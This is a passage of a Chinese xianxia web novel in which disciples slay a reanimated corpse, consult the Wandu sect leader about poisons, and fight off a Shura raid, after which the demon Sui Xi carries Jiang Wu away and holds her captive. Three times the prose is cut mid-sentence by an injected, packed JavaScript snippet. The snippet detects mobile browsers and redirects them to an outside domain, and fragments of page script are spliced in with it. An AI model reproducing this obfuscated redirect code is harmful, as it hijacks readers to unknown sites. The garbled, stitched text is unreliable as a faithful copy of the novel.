商扶庭看着朝他扑来的店小二,拉开弓步抬剑格挡。 太初剑顿时形成了一道屏障将店小二挡住。 店小二嘶吼着,双手长出了黑色的利爪,不住地在屏障上抓挠,神情狰狞,口中布满了尖牙。 商扶庭蹙眉,双眸紧紧地盯着店小二,“师妹,他还能被称为人吗?” 沈确看了商扶庭一眼,随即手捏剑指,口中念诀,将真元汇聚于双眸之上,晶蓝色的光芒覆于其中上,如同火焰一般在眼睑周围熊熊燃烧着。 “不,他已经算不上人了,只是一具尸体。” 商扶庭颔首,他手持太初剑向前一震,随即手腕翻转,先是用剑鞘向下压制住店小二的双手,随即反手出剑,划破了后者的喉咙。 店小二身形一顿,鲜血从薄如细线的伤口中流出,他并没有如商扶庭所愿就此解脱,反而更加的癫狂,口中的嘶吼声更大,空洞的双眸之中多了一丝愤怒,他摆动着双臂,趁商扶庭愣神之际,一爪拍在了他的手臂之上。 “师兄!” 商扶庭抬手制止了欲来帮忙的沈确,他后退几步,双指在剑身上一抿,太初剑上火光大盛。 商扶庭看着朝他扑来的店小二,挥动手中的太初剑朝他砍去,血肉之躯即便是再铜墙铁壁,也脆如薄纸一般。 太初剑破开了店小二的身体,鲜血顿时喷涌了出来,店小二僵硬的上身滑了出去落在地面上,连带着腐臭发黑的内脏。 沈确抬手用袖子遮住口鼻,她上前看了一眼,“奇怪,看尸体的腐烂程度,这人应该是死了至少半个月之久了,怎么还会活动自如似常人呢?而且还吃了血食。” 商扶庭用剑尖挑开店小二的上衣,看到后者胸前大片大片的腐蚀伤,深可见骨,甚至能透过肋骨的间隙看到其中的内脏。 “是修罗。” 一道尖叫的女声刺破寂静的空气,接着便是东西连续掉落的声音。 沈确有些不适地按了按耳朵,回头去看站在明月楼后门的掌柜。 “你们是从哪里找到他的尸体的?”掌柜的惊恐地看着面前的一幕,见二人气度不凡便觉得是修道之人,“你们......你们是修道之人吧。” 商扶庭问道:“此处究竟发生了何事?” 掌柜的一身粉紫色的夹袄,她神情惊惧地看着店小二的尸体,随后拿袖子遮住脸,“不如我们去大堂里谈吧,这里不合适。” 商扶庭颔首,同沈确一起跟着女子往客栈大堂走去。 姜芜听到声音立刻将手中的内丹收起,她看了一眼从后院走来的三人,垂眸继续吃着碗中的红枣小米粥。 雾沅压低了声音,“你有几分的把握?” “你要做好线索中断,或者说这里并不是最终结果的可能。”姜芜搅着腕中的粥,“而且我们并不清楚戚诃的最终目的。” 雾沅蹙眉,“他不是为了复活他的道侣吗?” 寂满摸了摸自己的下巴,出声说:“我觉得不一定,还记得昨日那些围住我的铁面人吗?他们无知无痛,战斗力却惊人。难道你们不好奇这些东西的来历吗?他们还是人吗?” “事情是这样的,两年前扬州城突然出现了几个修罗,最初是奔着万毒门来的,只是神仙打架凡人遭殃,他们在斗法的过程中,我们这些凡人难免会受伤,即便是万毒门已经在尽力保护我们。”掌柜的幽幽地叹了口起,“小二是在半年前不幸去世的,当时万毒门在扬州城外抵御修罗,小二外出采买,事后还是万毒门的李护法前来跟我说的。” 商扶庭蹙眉,“只是如此?他们也没有将小二的尸体带回来?小二的家里人也没有来寻吗?” 掌柜的摇了摇头,“没有,小二只是一个孤儿,他流浪到扬州城时不过是一个十岁的孩子,我见他可怜便收留了他,他没有家里人,我也只是在他死后给他立了个衣冠冢,没想到今日还能再见到。”说完,她便拿帕子掩面擦了擦眼泪。 沈确拿了帕子系在了商扶庭手臂的伤口处,出声安抚道:“您也别太难过了,千错万错都是那些修罗的错,他们实在太可恶了。” 商扶庭默不作声地抬眸扫了姜芜一眼。 掌柜的擦干净脸上的眼泪,她苦笑一声,“也不知晓这种日子何时到头,我们这些普通人还能不能活到寿终正寝的那一天。” 沈确心中觉得一丝苦涩,“会的,一定会的。我们修道人的存在,就是为了护佑天下苍生的。” 掌柜的面上露出一丝笑容,“我知晓的,多亏了万毒门的戚门主,否则扬州城不保。只是不知小二的尸首为何会突然出现,而且还变成了这副模样。” 掌柜的说完之后便摇了摇头。 商扶庭说:“我是在牲口棚中发现的,当时他正在啃食生肉。” “啃食生食?”掌柜的讶然,“怎么会呢?牲口棚中鸡鸭都是小二从苗养到大的呀,平时都不忍心让厨师宰杀的。” 沈确说:“以小二之前的状态,不能以他生前的行为论断了。” 商扶庭陷入了沉思,他原本想追究店小二这么做的理由,但是转念一想人已经死了,再追究这些也没有任何意义,索性便放弃。 寂满一直听着他们三人的谈话,片刻后他不耐烦地啧了一声,小声嘀咕道:“不过弱肉强食的自然法则罢了,弱者就是没有自保能力,不能埋怨强者太强啊,怎么不怪自己太弱呢。” 姜芜放下手中的餐具,“弱者也有活着的权利,此一时彼一时,强者永远不会一直强,弱者也不能因为弱而一直被打压。人族进化出的文明是团结与和睦,每个人不论贫贱富贵,都有活着的权利,即便是活得不如意,生命也是掌握在自己的手中,也不是被别人随意剥夺。” 寂满不解地问道:“强者怎么可能不会永远都是强者呢?勤奋修炼,妖力都是自己的。” 姜芜浅浅一笑,并没有再继续同寂满解释。 寂满继续说:“方才就想问你了,你眼睛怎么了?” 姜芜说:“无事,戾气流失太多,有些控制不住而已。” 寂满抿了抿嘴唇,欲言又止地看着姜芜,一双眼眸中带着诚恳的神情。 “你做什么?”姜芜看向寂满,“你那是何种表情?” 寂满挠了挠头发,声音细如蚊呐,“其实我都没有正式跟你道谢,如果不是你,我的那些哥哥们早就被神树吸干了,而且雾沅也跟我说过,你给的那些戾气能维持个几百年的时光。姜芜,谢谢你。” “哦?”姜芜见状顿时玩心大起,她面带笑意地看着寂满,“你方才说什么?我没有听清楚。” 寂满倏地抬眸看向姜芜,随即整个人都如熟透了一般,顿时恼羞成怒,“你!我好话不说第二遍!你自己猜去吧!” 姜芜说:“小小年纪,脾气倒是不小。道谢就该认真点,强买强卖的生意我可做不来,看你这副模样,好似是我强迫你一样,若是再逼你几分,你岂不是要去寻死觅活。” 寂满偏头,提高了自己的声音,“谁要寻死觅活,我说谢谢你,谢谢你救了我哥哥!” 姜芜立刻说:“不客气。” 胡赞带着几个万毒门的门徒在巳时初来到了明月楼,他进门之后直奔姜芜而去,“姜前辈,今日门中来了贵客,李护法脱不开身所以命我前来接应,如若您现下没有要紧事,请同我一起前往万毒门。” 姜芜将一支黑色的蝴蝶发簪别入发髻中,“可以,不知您如何称呼?” 胡赞说:“鄙人姓胡,单名一个赞字,前辈唤我胡赞便可。” “烦请胡道友带路。”姜芜起身,她看了一眼隔了几个桌的商扶庭和沈确二人,“你们要一起去吗?” 商扶庭拿着太初起身,跟掌柜的道别之后便同沈确一起走至姜芜的身侧。 【万毒门】 戚诃坐在主位上听着捉妖司两位法师的简述,片刻后开口道:“不知二位是否带了水样?单凭二位描述,我无法知晓其中到底是何种毒物。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106433|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 南斗天府法师司空星澜看了北斗天枢法师宫琉雅一眼,随即从怀中取出一个装着水样的瓷瓶教给了李先寻。 “那便有劳门主了,我们北斗与南斗对于毒一事并不了解,宫中御医也束手无策,但是天都东城的百姓不能再等,所以圣人才让我们来拜访您。” 戚诃接过李先寻手中的瓷瓶,打开瓶塞后先是嗅了片刻,正准备品尝时却被隋垂枝拦了下来。 “门主,请让我来吧。”隋垂枝朝着戚诃伸出手,“即便是我无法辨别出其中的毒,但是天下大部分的毒物都对我来说无用。” 宫琉雅看了一眼隋垂枝隆起的腹部,有些担忧地开口,“圣女不必担心,这毒只是会让人腹泻不止,不会对修道人的身子造成太大的损害。戚门主不会有事的,倒是您......” 隋垂枝说:“无妨,多谢法师关心。” 戚诃拂、开隋垂枝的手,他垂眸抿了一口样水,细细地感受了一番才说:“这只是一种混合毒而已,解毒之药有几味互相克制,所以才会让大夫束手无策。” 司空星澜追问道:“门主可有法子?” 戚诃若有所思地说:“办法倒是有,就是费些时间,那几位互相克制的解药,我需要找其他的药来中和毒性,二位法师大人如若不急可在门中小住几日。” 司空星澜和宫琉雅互看一眼,随即起身抱拳,“这几日多叨扰,那便有劳门主了。” 戚诃颔首,对李先寻说:“李护法,准备两间房,带二位法师大人下去休息。” 司空星澜同宫琉雅在李先寻的带领下往外走去,迎面遇到胡赞带着姜芜三人前来。 宫琉雅察觉到一丝怪异,她停下脚步,双眸紧盯着姜芜,片刻后提着拂尘挡在后者身前。 姜芜微微歪头,神情不解地看着宫琉雅,只见面前的女子一身白色金边袍,一头乌发高束,眉间画着北斗七星的印记,眼尾高挑,冷漠又灵秀。 “如何?” 宫琉雅呼吸一滞,她从未见过如此貌美之人,姜芜白色的立领纱衣外是猩红的开领中衣,外面又罩了一件黑色的广袖长袍,整个人妩媚又清丽,如同天上人。 但当宫琉雅看到姜芜微微发红的眼珠时,不由得蹙紧了双眉,“你是妖物?” 姜芜轻笑,她垂眸掩去自己双眸的异常,“何以见得?” 沈确闻声探头看了一眼,随后快步跑了上去,兴高采烈地道:“原来是宫姐姐,没想到能在这里遇到姐姐。自从风华大会之后便一直没有得见姐姐,星澜哥也在啊。” “阿确,扶庭。”宫琉雅喜形于色,“你们为何来此地?” 商扶庭抱拳,“宫法师,我们受师尊派遣前来此地。” 沈确轻声道:“是圣人派遣你们来的?” 司空星澜颔首,“我们是为了天都东城水域投毒一事而来,向戚门主求个解毒的法子。” 姜芜见状,先行一步进入前厅。 宫琉雅转头去看姜芜,总觉得她身上的气息杂乱,于是便开口问道:“阿确,那是何人?” 沈确哑然,欲言又止地看着商扶庭。 商扶庭垂眸看了沈确一眼,随即对宫琉雅说:“师尊和师叔几人无暇分身,所以找了个高人来帮忙。” 宫琉雅蹙眉,“这人来历你们清楚吗?” 商扶庭说:“相传同本派开山太初道尊有关,具体师尊并未详细告知。” 司空星澜讶然,“竟然同太初道尊有关吗?” 商扶庭应了一声,眼底划过的一丝不耐被他很好的隐藏起来,“二位法师近几日可听说过一些怪事,比如原本死亡的人突然复生,但是身体的状况跟死人并无区别,而且还会吞血食。” 李先寻默默地同胡赞对视一眼。 司空星澜震惊,“竟然有此事?你们是在何处发现的这种活死人?” 沈确说:“就在扬州城内。” 宫琉雅蹙眉,抬眸看向李先意图寻求证此事。 24. 突袭 “竟然有如此离奇之事?但是并未听扬州城内人有讨论此事,也未有人前来上报万毒门。”李先寻说,“莫不是修罗作祟?请各位放心,此事既然出现在扬州城内,万毒门一定会彻查到底。” 胡赞及时说:“二位少侠,门主已经恭候多时了。” 宫琉雅颔首,对李先寻说:“圣人也听说了扬州城修罗侵扰一事,我二人来扬州之前也曾嘱咐过,若是此行修罗再犯,我们二人必定鼎力相助。” 李先寻抬手施礼,“万毒门谢过圣人。” 姜芜进入正厅后,便被等候在此的隋垂枝引至了药房中。 万毒门的药房在偏厅的位置,东西两面摆放着通顶柜,每一个小匣中盛放着各种各样的草药以及死亡干瘪的毒虫。 姜芜进门后边嗅到陈旧的草药气息。 戚诃正站在药柜前品尝着药材,他坐在木制脚架上,另一只手中托着一张无腊纸。 “姜前辈还请稍等片刻,等我寻出几味药材便同你去毒窟。”戚诃垂眸看了隋垂枝一眼,让她记录下了几个药名,“姜前辈见多识广,不知是否知晓一些治疗腐化、灼伤、亦或者中和毒性的药材?” 侍女上前将一杯药茶放在了姜芜面前。 姜芜纤长地手指无意识地在桌上逐一敲动着,“医毒这方面我并不懂,但是你说得有这几种功效的‘药’,我倒是能想起一种东西。” 隋垂枝追问道:“是何物?” “天河之水。”姜芜说,“相传这条河流发源于无幻之境,从天而降,源源不息。虽然我不知晓这条河有何药效,但是似乎内服外用皆可,清凉适中,解天下百毒,对于各种伤势都有奇效。” 戚诃转身看向姜芜,“真有这么神奇?当真不是用天材地宝浸泡出的吗?” 姜芜摇头,“据我所知并不是。” 隋垂枝神情震惊地看着姜芜,“无幻之境内居然还有如此至宝。” 姜芜勾唇微笑,闭口不再谈论天河之水的事情,垂眸抿了一口发苦回甘的药茶。 戚诃神情有些惋惜,“无幻之境内遍地荒芜,一年之中有三分之二的时间太阳长悬不落,剩余的时间都处于无边无际的黑暗之中,唯一的水源便是天河之水了吧,多少有些可惜了,如果能将其引出无幻之境,人族将会少很多疾病的折磨。”说完,他便低头继续翻找着药柜中的草药。 胡赞把商扶庭和沈确带到了药房,他抬手抱拳施礼,“门主,人已经带到了。” 戚诃颔首,“请他们稍等片刻。” 商扶庭和沈确坐到了姜芜对面的位置。 “你这几日见到明月楼的店小二了吗?” 姜芜抬眸看向商扶庭,“店小二吗?并没有,一直都是掌柜的,怎么?” 商扶庭说:“无事。” 姜芜见状也不再追问,只是一个劲地逗弄嫌热趴伏在外的黑色小蛇。 隋垂枝见商扶庭神情古怪,便开口问道:“发生何事了?” 沈确说:“说来也奇怪,只是明月楼的店小二突然以活死人的状态出现,而掌柜的却说他已经死了很久了。明明已经死了,尸体却能够自由活动,简直闻所未闻。” 隋垂枝蹙眉,“居然还有这么奇怪的事情吗?你们斩杀它了吗?是否发现他的身体里有寄生蛊虫或者咒术痕迹一类?” 沈确面色凝重地摇了摇头,“并没有,就只是一具普通的尸体。” 戚诃将挑选出来的药材包起,从脚架上下来,然后将手中的药包交给了立在一旁的李先寻,“你们是如何杀死它的?” 姜芜笑而不语地招手让侍女来给她添茶。 商扶庭说:“普通的刀剑根本伤不了他,我是用了真元引火才将它杀死,事后我用师妹一同检查过,这具尸体上有明显的腐蚀灼烧痕迹,请问戚门主可知晓修罗一族是否有操控尸体的术法?” 姜芜挑眉,她抬眸看了商扶庭一眼,并没有多说。 戚诃目光沉沉,“据我所知并没有,我虽抵抗修罗几年时间,但是对他们不甚了解,至于他们是否真有操控尸体的术法,我并不清楚。” 隋垂枝蹙眉,神情愤愤地问道:“你是怀疑修罗有心利用扬州城内百姓来制造活死人?” 商扶庭长舒了一口气,他按了按眉心的位置,“只是有所怀疑,并不能确信,如果真的是出自他们之手,怕是他们会用活死人来对付万毒门,而且这种活死人并不好消灭,只怕到时候遭殃的还是扬州城内的百姓。” 隋垂枝转头看向戚诃,神情焦急地说:“门主,此事欲如何解决?城内百姓不能再遭受无妄之灾了。” 戚诃示意隋垂枝稍安勿躁,他看向商扶庭,细细地问道:“只出现了一个活死人吗?是否出现了伤人的迹象?” 商扶庭摇头,“并无出现伤人的迹象,只是.......像是在重复着生前的一切,只不过与生前的行径相反,我们只遇到一个活死人,实在是无法判断。” 戚诃问道:“如何个相反法?” 沈确说:“掌柜的说那些鸡鸭是店小二生前最宝贵的东西,平时都舍不得让厨房宰杀,但是他今日出现却生食了一整个牲口棚的鸡鸭。” 寂满想起了初到扬州城发生的事情,张口轻轻地咬了一下姜芜的手腕。 姜芜抬手轻轻地弹了一下小黑蛇的脑袋。 “此事我已经知晓,会立刻着人去查。”戚诃看了一眼外面的天光,“时间不早了,我们现下前往毒窟吧。” 商扶庭颔首,“那便多麻烦门主了。” 姜芜正准备起身,便觉得四周突然变得迟钝又缓慢,仿佛整个万毒门被拉入了一处结界内,校场上弟子拉练的声音像拖着长声的乌鸦,刺耳又难听。 赤红色的光芒迅速逼近,像是太阳从天际横冲直撞入万毒门。 姜芜迅速掠出药房,她调动起万毒门下的太湖之水,用周身的戾气加以包裹,化作一条水龙直扑巨型火球。 一场倾盆大雨瞬间落下,烈火与寒水相撞,高温扑灭之下云雾缭绕,遮天蔽日,雨水却丝毫没有要停歇的迹象。 姜芜站在庭院之中,周身被淋了个透彻。 司空星澜迅速掠上屋顶,他唤出一柄长弓,以真元化箭,万刃齐发,如同流星一般穿透雨雾直扑火球的来源之处。 睢羲抬手,手指微动,铺天高地的箭矢化为齑粉,凭空消失。 季易忍不住感叹道:“怪不得修罗王让你同我们一起呢,碾压他们简直不费吹灰之力。”说完,他便招呼着其他几个修罗,直扑万毒门。 宫琉雅闪身而出,一甩手中的拂尘缠住季易的腰身,趁他不备将他狠狠甩出。 季易在庭院中翻滚一圈,立刻起身,他看着突然出现的宫琉雅,偏头微笑,“你又是个什么东西?也是戚诃造出来的吗?” “东西?”宫琉雅冷笑,“当然是能杀你的东西。” “季易!” 沛然看了一眼季易。 “管好你自己!” 季易说完便冲向了宫琉雅。 沛然看了一眼睢羲,随后冲向了站在屋顶之上的司空星澜。 司空星澜迅速拉弓,箭矢却在离弦的第一刻被化为齑粉。 沛然转眼间来到了司空星澜的面前,他抬手出拳,直逼后者面门。 司空星澜以长弓做剑,抵住沛然的进攻,随后拉弓射箭。 沛然偏头躲过司空星澜的箭,脸上却被划出一丝血线。 姜芜抬眸看着睢羲,看着他风轻云淡地化解着司空星澜和宫琉雅的招式,眼神逐渐阴沉。 商扶庭提剑冲了出来,却被姜芜拦下。 “打得过吗?别上去送死了。” 姜芜推开商扶庭,侧身躲过一柄挥来的巨斧,唤出无心乱抽向面前碍事的修罗,随即飞身攻向睢羲,她反转手腕,用长剑刺向后者。 李先寻取出长刀对上挥着巨斧的健壮修罗。 睢羲这才分出一丝眼神给姜芜,不过也只是睨了她一眼,随即便专心扼制起司空星澜和宫琉雅的招式。 姜芜双唇一抿,进攻的招式越发地狠毒刁钻。 睢羲抬手的瞬间,姜芜的长剑便无法再前进一分,他隔空抓住与沛然纠缠的司空星澜,随即将他从屋顶上甩了下去。 “星澜!” 季易挡在了宫琉雅面前,狞笑道:“你的对手,可是我!” 姜芜旋身,长鞭迅速延展,缠住了司空星澜的腰,将他安全地放在了地面上,随即又将长鞭甩出,分别缠上睢羲的双手。 姜芜抬手一扯,睢羲的双臂立刻被绞在一处,鲜血瞬间涌出,浸湿了长鞭,淅淅沥沥地落在地上,使他无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106434|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法继续动作。 “濯濯,你学习段怀野捏诀施法,难道忘记修罗根本不需要这一套吗?” 睢羲周身戾气大涨,黑色的雾气铺天盖地,将整个万毒门完全笼罩了起来,亭台楼阁在戾气的侵蚀之下带着倾倒塌陷之势。 姜芜惊恐地看着四周被戾气淹没的一切,攥紧了手中的无心乱,“何必要如此?” 戚诃让众人退至药房中,催动结界将整个药房笼罩起来,将众人护在其中。 沛然与季易落在药房门口,神情得意地看着四周的戾气蔓延,只待里面的人真元消耗干净,结界一破,他们便打算冲进去进行一场屠杀。 大雨瓢泼,戾气弥漫,不消片刻万毒门便会夷为平地。 隋垂枝神情焦急地看着勉励维持结界的戚诃,上前一步,“门主,让我试试。” 戚诃说:“这种程度的戾气如同化骨水,沾上一点便会尸骨无存,现在不是时候。” 隋垂枝大喊,“门主,即便是您耗尽真元,这个结界也维持不了多久,不如让我搏一搏。” 戚诃思忖了片刻,最终还是摇了摇头。 “门主!这样下去真的不是办法!”隋垂枝看了一眼身上挂伤的司空星澜和宫琉雅,“若是结界破了,我们都会交代在这里的,门主!” 戚诃厉声道:“此事勿要再提,我说不准便是不准。” 药房摇摇欲坠,门窗皆有湮灭的痕迹。 商扶庭见状,攥紧了手中的太初剑,心中又急又怒,他拥有消灭修罗的神兵利器却无法发挥它全部的威力,导致现在所有人都身陷囹吾,无法脱身。 “太初剑......太初剑......” 沈确觉得商扶庭状态不对,伸手扯了扯他的袖子,关切地问道:“师兄?” 商扶庭倏地看向沈确,突然想起在闻香镇所发生的一切,扬声大喊道:“雾沅,封闭我的五感六识,让我陷入幻境!” 沈确不解地看向商扶庭,“师兄?为何要那么做?!” “只有那样才能发挥出太初剑真正的作用,我们不能坐以待毙。” 一道紫黑色的法术凭空而现,直扑商扶庭面门。 隋垂枝见劝不动戚诃,从怀中取出一只蓝色的珠子,犹豫着要不要捏碎。 商扶庭一惊,应声而倒。 沈确一惊,“师兄!” 宫琉雅问道:“扶庭怎么了?” 季易和沛然站在药房外,看着他们做最后的垂死挣扎,接着他们便发觉出了不对,立刻往一旁闪去。 一道惊天白光破门而出,瞬间将遮天蔽月的戾气斩开一线。 商扶庭的墨发逐渐褪去颜色,变得雪白,胜似白雪一般,他撑着太初剑起身,立刻飞身掠了出去。 剑光延绵数千里,所过之处皆有一道剑痕。 姜芜看着面前被斩开的屋顶,神情不定地看着药房的方向。 几个修罗迅速退了回来。 季易抬手遮眼看着药房的位置,“好强的剑气,这又是戚诃做出来的玩意吗?” 商扶庭持剑掠了出来,直逼睢羲,雪白的双眸中无求无欲,一片淡然。 姜芜一惊,立刻飞身上前,用无心乱挡住了来势汹汹的太初剑,她咬牙看着商扶庭,丝丝缕缕的鲜血从她的口中溢出。 四周的戾气逐渐散去。 季易震惊地说:“这么强?” 戚诃看向隋垂枝,出声道:“可以试试,先寻帮枝枝控制毒气。” 隋垂枝颔首,她跑出药房,飞身跃上屋顶,扯下了身上的披风,将体内的毒气混在真元之中散了出去,如同出柙猛虎一般。 沛然面色一变,“遭了,居然是这种毒气!” 睢羲立刻跃下房顶,“撤。” 季易颔首,几个修罗先后撤离了万毒门。 睢羲唤出离旧,将骨鞭甩出缠住姜芜的腰肢,瞬间将她带至身侧。 姜芜抬眸看着睢羲,随后又看向了站在房顶上手持太初剑的商扶庭,“他......” 睢羲自始至终都未看商扶庭一眼,他垂眸拭去姜芜唇角的鲜血,随即带她离开了万毒门。 商扶庭并没有去追,他看着二人离开的方向,白发逐渐染黑,松开手的瞬间太初剑掉落在一旁,他身体一软,整个人昏厥在了屋顶上。 25. 转折 姜芜被掷到了床上,黑色的戾气凭空而现束住她的手脚,她迅速弹身而起,伏在床榻边呕出了一口鲜血。 “一边说着我不是什么钢铁之躯,让我爱惜自己,一边又这么摔打我,看来不爱惜我的人是你。” 姜芜说完幽幽地叹了一息,好整以暇地看着睢羲。 睢羲先是伫立在原地静静地看了姜芜片刻,随后俯身托起她的脸。 姜芜心血翻涌,她先扫视了一眼四周,发现这里并非她在明月楼的房间便出声问道:“这是何处啊?似乎已经远离扬州城了。” 睢羲动作轻柔地擦拭干净姜芜唇边的鲜血,“这里是天都城。” 姜芜垂下眼眸,声音细弱,似是抱怨,“你将我带来这里做何事?如此以来,我要失信于人了,好不容易积攒出的一丝好感和信任,被你们这样一来二去的,都磋磨干净了。” 睢羲用法术烘干了身上的衣服,抬手虚空一抓,将一套藕粉色的衣裙放在了一旁的矮几上。 姜芜垂眸看了一眼衣裳,目光收回时先是扫了一眼身上的束缚和湿透的衣裳,随后不解地看向睢羲,“你压制着我,为何又不愿用法术帮我烘干衣服?湿衣服穿在身上可一点都不舒服。” 睢羲坐在姜芜面前,先是俯身脱掉了她的鞋袜,随后又伸手探向了她立领上的盘口。 睢羲的手指纤长有力,骨节分明,他先是解开了姜芜的外袍挂扣,随后才是玉带结,每一条系带都细致耐心地解开。 姜芜垂眸轻笑了一声,摊开了自己的身体,接着她看向睢羲,双眸带笑,声音低哑,“你这是什么毛病?嗯?” 睢羲不语,只是一味地把姜芜身上的湿衣服脱下扔至一旁。 姜芜见状合上了双眸,顒鸟精火在她的内府中日日灼烧,将她的身体烧至滚烫,睢羲微凉的手指像是天降甘露一般,虽杯水车薪,但无异于涸鲋得水,缓解着顒鸟内丹日日散发出来的热量。 睢羲听着姜芜的呼吸越发得沉重,他迅速解开最后一条裙带,俯身将她抱了起来,然后往浴桶旁走去。 “看来你早有准备,今日是有全部的把握将我带回吗?”姜芜环着睢羲的脖颈,她看着热气腾腾的浴桶,“这水太热了,我想要凉一点的。” 姜芜说完便缩进了睢羲的怀中,亲昵地蹭着他的颈窝,妄图得到一丝垂怜。 睢羲看了姜芜一眼,随后将她放进了浴桶中。 姜芜眉心一拢,挣扎着便要从浴桶中出去,她的肌肤上瞬间烫至薄红,语气中染上了一丝愠味,丝毫没有方才的情色。 “真的很烫。” 睢羲按住了想要起身的姜芜,从怀中取出了一个白玉瓷瓶,他张嘴咬掉瓶塞,随后将其中的液体倒在了姜芜的胸口处。 一股清凉又不带寒意的感觉顺着液体的扩散而席卷姜芜的四肢百骸,平息了她体内躁动的顒鸟精火和血契反噬。 “这是......天河之水?” 姜芜抬手划了一下水面,她的身体逐渐恢复正常,浴桶中的热水对于她来说不再是滚烫的岩浆,而是逐渐恢复了温柔的本性,轻抚着她紧绷的神经。 姜芜抿紧了双唇,紧贴着木桶壁垂下了双眸,她以为自己的所作所为足够让睢羲寒心,却没想到后者依旧待她如初,仿佛她就是一个无理取闹的叛逆孩童,造成了一些不痛不痒、可以包容的小打小闹。 睢羲从梳妆台上取来了梳子,将外袍脱下搭在了一旁的木施上,挽起袖子着手梳理着姜芜的长发,将其中干枯打结的部分用戾气削掉。 姜芜放轻了声音,心虚道:“你既然带出了天河之水,就应该知晓哪怕是一滴也会让天都城的水流得到净化。” 睢羲手上的动作一顿,他盯着姜芜的侧脸看了片刻,随后将手中的梳子放至一旁,他手中攥着姜芜的一把墨发,手腕一抖便蒸发了其中的水分。 “洗好了吗?” 姜芜转身去看睢羲,双手攀附着浴桶边缘,心绪复杂。 睢羲松了松手指,在确保姜芜的长发不被粘湿的情况下,让她能够左自如活动。 姜芜起身,轻轻地开口,“洗好了。” 睢羲伸手把姜芜从浴桶中抱了出来,扯过一旁的干巾将她身上的水珠擦干,然后再将床边矮几上的衣裙给她穿好,动作细致又温柔,连同着裙子上的系带都打好漂亮的花结,神情没有丝毫的狎昵之色。 “我现下还有其他的事情要做,你先休息片刻。”说完,睢羲便起身欲走。 “有些事情不是当作没有发生就能揭过的。”姜芜眉心拢得更深,她扯住睢羲即将抽离的袍袖,“既然你有事情便先放我离开,我也有我的事情,好不好?” “放你离开?”睢羲挑眉,他伸手将自己的袍袖一点一点地从姜芜的手中拽出来,“濯濯,你觉得你现下这副模样还能坚持多久?还要离开吗?你想待在这里,还是说你想回无幻之境?选一个吧。” 姜芜垂眸,片刻后她在床榻上寻了一处舒服的位置,扬起笑容,神情乖巧,“好吧,那我就在这里等你回来。” 睢羲居高临下地睨着姜芜,他有些拿捏不准此时此刻姜芜的意思,是妥协又像是在盘算着下一步的诡计,还是佯装退让诱使放松警惕后给予致命一击,总之让人捉摸不透。 现在的姜芜对于他来说,并非那个当初心思单纯的濯漪。 太初道尊段怀野丰功伟业,为人族立下不世之功,扭转来千百万年以来的万事万物。 也将濯漪变成了姜芜。 “你最好这么想,也最好这么做。”说完,睢羲便转身离开。 姜芜长舒了一口气,她翻身看着床顶的围帐,睢羲的戾气像是牢笼一般将她锁在了床榻之中,封住了她的法术,限制了她的行动,让她仅能够在被允许的范围之内,做一只囚鸟。 季易好奇地站在睢羲的门前向内张望,沛然伸手扯了扯他的袖子,神情不安地说:“我们走吧,毕竟是大人的私事。” “哎呀,看看又不会怎么样,你在担心什么?” 睢羲伸手拉开房门,看着面前鬼鬼祟祟的二人,有些不解地问道:“你们在做何事?” 季易讪讪地一笑,随口扯谎道:“没做什么,只是想问问你,我们下一步要如何?王上应该没有要我们撤退吧。” “并无。”睢羲说,“但是这次失了先机,只能等到下次,你们先同我讲讲那个毒气是怎么回事。” 语毕,睢羲便让开了门口的位置,转身进到了房间中,并示意季易和沛然跟进来。 季易透过屏风看了一眼内间,他有些过于好奇濯漪了,之前便听说过一些二人之间的故事,只是一直不得见此人,今日难免好奇心大盛。 沛然见状掐住季易的脖颈朝着睢羲走去,他压低了声音警告道:“你疯了?不怕大人杀了你吗?” 季易伸手推开沛然,神情不耐烦地说:“我只是看一眼,又没做什么,你以为他跟你一样小心眼吗?” 睢羲抬眸看了二人一眼,随即烧水冲茶,“坐吧,今日释放毒气的那个人类女子似乎叫隋垂枝,她是何来历?” 季易挠了挠自己的头发,“叫什么我并没很清楚,只知道这是万毒门十多年前便开始的、针对修罗的一个计划。” “针对修罗?” 睢羲将泡好的茶水倒入二人面前的杯中,“详细内容是什么?” 沛然受宠若惊,立刻对睢羲说:“谢过大人。” 睢羲的手一顿,“不必如此称呼我。” 季易说:“修罗天生地长,依靠戾气而生,我们的血也具有腐蚀性。修真界的七仙中有一位擅长研制蛊毒的人类女人,曾经捉了不少修罗去研究,我也不知晓他们是如何落网的,总之她仿制出了与修罗血液同样具有腐蚀性的液体。这种液体很特别,只会对修罗起作用,而不会对其他的物种造成伤害。” 睢羲神情平淡地抿了一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106435|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶水,“据我所知,隋垂枝曾经有次控制不住体内的毒气而使整个扬州城都陷入大疫,似乎并不像你说的那般只对修罗起作用。” 